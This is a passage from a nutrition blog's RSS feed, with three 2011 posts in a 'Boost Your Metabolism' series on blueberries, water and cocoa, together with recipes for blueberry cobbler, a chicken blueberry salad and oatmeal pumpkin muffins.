]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/feed/ 0 Boost Your Metabolism Series- Blueberries https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/#respond Fri, 06 May 2011 22:02:13 +0000 http://skinnygeneproject.dreamhosters.com/?p=1214 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 3rd post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The third one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is BLUEBERRIES!

BENEFITS OF BLUEBERRIES

 

Photo by Karen D

How many blue foods can you name?

  Of course there’s the obvious, blueberries, but there aren’t too many more!  That’s what makes blueberries a super food.  The rich bluish, reddish colored fruit provides antioxidants and phytochemicals that help prevent heart disease, stroke, and cancer – three of the top 10 causes of death in America. 

WE NEED TO EAT MORE BLUEBERRIES!

 

 

 

Here are a few bonuses of eating a diet rich in blueberries:

 1. They are the ULTIMATE BRAIN FOOD

Research has found that blueberries improve memory, not just your short-term memory, but also reduce the risk of Alzheimer’s disease. 

2. They are SNEAKY

The brain normally protects itself and doesn’t let anything in, but the phytonutrients in blueberries are actually able to cross the blood brain barrier to “nourish the brain”. 

3. They HELP WITH PREVENTION

Here is the metabolic kicker.  Blueberries have been found to lower blood glucose levels, meaning daily consumption is consistent with better glucose regulation, which is ideal in the prevention of diabetes. 

Here are some ideas to eat more blueberries to help optimize your health and metabolism:

  • Swap out the usual OJ for blueberry juice in the morning to give your brain a memory boost.
  • Eat blueberries daily, fresh or frozen.
  • Look for creative ways to incorporate blueberries.  Try adding blueberries to yogurts, oatmeal, salads, cottage cheese, smoothies, fruit salads, etc.

Caution with blueberries in syrup (or in pies), this nearly triples the calories!

BLUEBERRY RECIPES 

 
 

Cooking Light- July 2002

Photo by Becky Luigart-Stayner

Blueberry Cobbler

 

While variations abound, a traditional cobbler is a baked, deep-dish fruit dessert that’s topped with a biscuit sprinkled with sugar to give it a bit of crunch and color. This blueberry cobbler is a similar version that uses a light, dumpling-like topping instead of a dense biscuit.

YIELD: 8 servings

Ingredients

  • Filling:
  • 6 cups fresh blueberries
  • 1/3 cup sugar
  • 2 tablespoons cornstarch
  • 1 teaspoon grated lemon rind
  • Topping:
  • 1 1/3 cups all-purpose flour
  • 2 tablespoons sugar
  • 3/4 teaspoon baking powder
  • 1/4 teaspoon salt
  • 1/4 teaspoon baking soda
  • 5 tablespoons chilled butter, cut into small pieces
  • 1 cup fat-free sour cream
  • 3 tablespoons 2% reduced-fat milk
  • 1 teaspoon sugar

Preparation

Preheat oven to 350°.

To prepare filling, combine first 4 ingredients in an 11 x 7-inch baking dish.

To prepare topping, lightly spoon flour into dry measuring cups; level with a knife. Combine flour and next 4 ingredients (flour through baking soda) in a large bowl, stirring with a whisk. Cut in butter with a pastry blender or 2 knives until mixture resembles coarse meal. Stir in sour cream to form a soft dough.

Drop dough by spoonfuls onto blueberry filling to form 8 dumplings. Brush dumplings with milk; sprinkle with 1 teaspoon sugar. Place baking dish on a jelly roll pan. Bake at 350° for 50 minutes or until filling is bubbly and dumplings are lightly browned

Nutritional Information
  • Amount per serving
  • Calories: 288
  • Calories from fat: 26%
  • Fat: 8.3g
  • Saturated fat: 4.9g
  • Monounsaturated fat: 2.2g
  • Polyunsaturated fat: 0.5g
  • Protein: 4.7g
  • Carbohydrate: 50.8g
  • Fiber: 3.5g
  • Cholesterol: 23mg
  • Iron: 1.3mg
  • Sodium: 265mg
  • Calcium: 90mg

All-American Chicken Blueberry Salad Platter

By the Blueberry Council

http://www.blueberrycouncil.com/recipes-popup.php?id=80

YIELD: 4 portions

1/3 cup bottled vinaigrette dressing
1 tablespoon orange marmalade
1 tablespoon reduced fat mayonnaise
2 cups 1/2-inch cubes cooked chicken breast
2 cups blueberries
1/2 cup 1/2-inch cubes red bell pepper
2 small scallions, sliced (about 3 tablespoons)
Salt and ground black pepper
4 large slices whole grain country bread
4 slices (3/4-inch thick) iceberg lettuce (cut crosswise through center of head)
8 to 12 thin crosswise slices tomato

In a large bowl, combine vinaigrette, marmalade, and mayonnaise; set aside 2 tablespoons. Stir chicken, blueberries, red pepper, and scallions into remaining dressing in the bowl. Add salt and pepper to taste. Place one slice toast on each of 4 dinner plates; divide salad onto toast. Arrange lettuce and tomatoes beside sandwich and drizzle with reserved dressing.

Per Portion: Calories 410; Protein 32 g; Carbohydrate 36 g: Fat 16 g; Fiber 6 g;
Calories from Fat 34%

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/feed/ 0 Boost Your Metabolism Series- Water https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-water/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-water/#respond Fri, 29 Apr 2011 20:46:31 +0000 http://skinnygeneproject.dreamhosters.com/?p=1209 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 2nd post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The second one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is WATER! 

What if the secret to weight loss and increasing your metabolism is as simple as drinking water?

Yes it’s true; research from Virginia Tech by Dr. Brenda Davy found that being only 1% dehydrated will significantly decrease your metabolic rate.   On the other hand, staying hydrated will help you to eat less calories and lose weight.

Water also keeps your kidneys cleansed and your joints lubricated. It flushes toxins from your system and keeps your skin healthy and looking good.

WATER

To put it all in perspective, our bodies are 60% water. We lose approximately 9-10 cups of water daily (and even more if you exercise or are in hot weather), therefore it is essential for you to drink enough water to make up for what you lose to prevent slowing down your metabolism.  

An added bonus is that water is filling.  Dr. Davy’s research found that drinking 2 cups of water before meals helps reduce your calorie intake, which will result in weight loss.

 How  can water help optimize your metabolism?

 

1.       Drink the right amount

The American Dietetic Association recommends drinking 9 cups (8 oz each) of water per day for women and 13 cups of water per day for men.

Another rule of thumb is to take your weight in pounds, and divide it in half to calculate your water intake goal.  For example, if you weigh 150 pounds, you require ~75 fluid ounces of water per day.

2.       Listen to your body

Pay attention to the warning signs of dehydration. 

When using the bathroom, check the color of your urine. The pale or clear color indicates good hydration, where as a darker yellow color indicates dehydration. 

Constipation may also be a result of dehydration. 

Lastly, thirst is a late indicator of dehydration, so be sure to drink before you are thirsty.

Tips to Maximize Your Water Intake

  • Take a drink every time you pass a water fountain
  • Keep a glass or bottle of water at your desk if you’re a “subconscious” sipper
  • Instead of a coffee break, take a water break
  • Drink sparkling water with a squeeze of lemon at social gatherings
  • Drink water prior to each meal and throughout the day
  • Plan ahead, drink water prior to the start of your outdoor activities. Bring plenty of water in a cooler
  • If drinking alcohol, alternate each alcoholic beverage with a full glass of water
  • Use sweat as a red flag warning!  When you sweat you lose even more water, therefore you need to drink more!
  • Carry a water bottle with you as a reminder to drink
  • Add lemon and/or cucumber slices to water for refreshment
  • Eat a lot of water rich fruits and vegetables, most contain 80-90% water 

 

Fruits and vegetable with greater than 90% water content

 Cabbage, Cucumber, Tomato, Broccoli , Celery, Spinach , Lettuce, Cauliflower, Zucchini, Peppers, Watermelon, Strawberries, Grapefruit, Cantaloupe

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-water/feed/ 0 Boost Your Metabolism Series- Cocoa https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-cocoa/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-cocoa/#respond Thu, 21 Apr 2011 20:46:10 +0000 http://skinnygeneproject.dreamhosters.com/?p=1182
We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 1st post. To learn more about the Boost Your Metabolism series, please click here!
 

BOOST YOUR METABOLISM

 

The secret to boosting your metabolism is  FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to  get your metabolism working for  you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either  increase your metabolism or  your waistline.

First up in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM  is COCOA!

Heart disease is the #1 cause of death of people in your city, state, country, and world. But guess what?  Here’s some great news for all you chocoholics! Dark chocolate and cocoa are super foods that contain a very high amount of antioxidants and flavanols – meaning they have been proven to lower your blood pressure and cholesterol , therefore lowering your risk of heart disease! The darker the chocolate the more super the food!

Another bonus is that cocoa has a low glycemic index (GI). Although it is a sweet treat, it doesn’t impact our blood sugar in the way that other desserts do, which is important when it comes to diabetes prevention.

So far, chocolate does not seem to be so bad, right? Well, what about all the fat? Chocolate in general does have a lot of fat. Although dark chocolate is different; it contains a special saturated fat from the cocoa bean that is unusual. Research has found that this fat actually acts more like an unsaturated fat in the body, therefore not resulting in increased cholesterol like other saturated fats do. Another chocolate bonus!

How to use dark chocolate and cocoa to help optimize your metabolism

 

1. CHOOSE THE RIGHT CHOCOLATE

So what makes dark chocolate better for us than milk chocolate?  Milk chocolate is by far one of the most popular types of chocolates used in baking and commercial sweets.  The concerns with milk chocolate are high saturated fat (the artery clogging type), high in calories (the weight gaining type), and high in sugar (increasing our blood sugar type!)

Try dark chocolate with the highest percent of cocoa, preferably 60-70% cocoa solids (it’s written on the package). It is the “perfect combination between health and taste.”

When using cocoa in a recipe, limit the fat to 2 tbsp of butter – Butter is needed to mix with the sugar and cocoa in dessert recipes to give them the right textures – try I Can’t Believe It’s Not Butter Sticks.

2. MODERATION

When it comes to reaping all the chocolatey benefits hidden in dark chocolate, one of the most important things to keep in mind is moderation!  One dark chocolate bar has 180 calories, of which 108 calories are from fat. The heart healthy benefits from the dark chocolate are there, but we have to be careful with the total calories and fat in combination with the rest of our diet.  Keep your portions in check!  Try 1 oz or 1/3 of a dark chocolate bar, about 4 squares or less than 40 grams per serving.

3. CAUTION WITH THE “EXTRAS”

Beware of dark chocolate with extra calories, fat, or sugar additives, such as marshmallow, caramel, nougat, nuts, etc.  Another red flag in your quest to picking the right chocolate is to beware of the desserts!  Most baked goods have added butter, sugar and other high calories ingredients that cancel out any of the health benefits that you may have received from the dark chocolate alone.

TIP- Get your chocolate fix by adding dark chocolate to your favorite healthy recipes.

Here’s an example of  a recipe that uses dark chocolate.  Enjoy!

Oatmeal Pumpkin Muffins
Inspired by Carrots-n-Cake and About: Lowfat Cooking

http://www.fitsugar.com/Healthy-Recipe-Oatmeal-Dark-Chocolate-Chip-Pumpkin-Muffins-5813166

Ingredients

1 1/2 cups whole wheat flour
1 1/2 cups old fashioned oats
3/4 cup brown sugar
1 teaspoon baking powder
1/2 teaspoon baking soda
1 teaspoon cinnamon
1/2 teaspoon ground ginger
1/4 teaspoon allspice
1/4 teaspoon ground nutmeg
1 1/2 cups canned pumpkin
3 tablespoons canola oil
one large egg
one large egg white
1/4 cup lowfat milk
1/2 cup dark chocolate chips (optional)
1/2 cup chopped walnuts (optional)

Directions

  1. Preheat oven to 375 degrees F and line muffin tin with muffin cups.
  2. Whisk dry ingredients and spices together in a large bowl.
  3. Add pumpkin, oil, milk, and egg and egg white to a medium size bowl and mix thoroughly. Add wet ingredients to dry ingredient and mix well. Stir in chocolate chips and walnuts.
  4. Fill muffin cases evenly and bake for 18 to 25 minutes

Makes 14 muffins.

 

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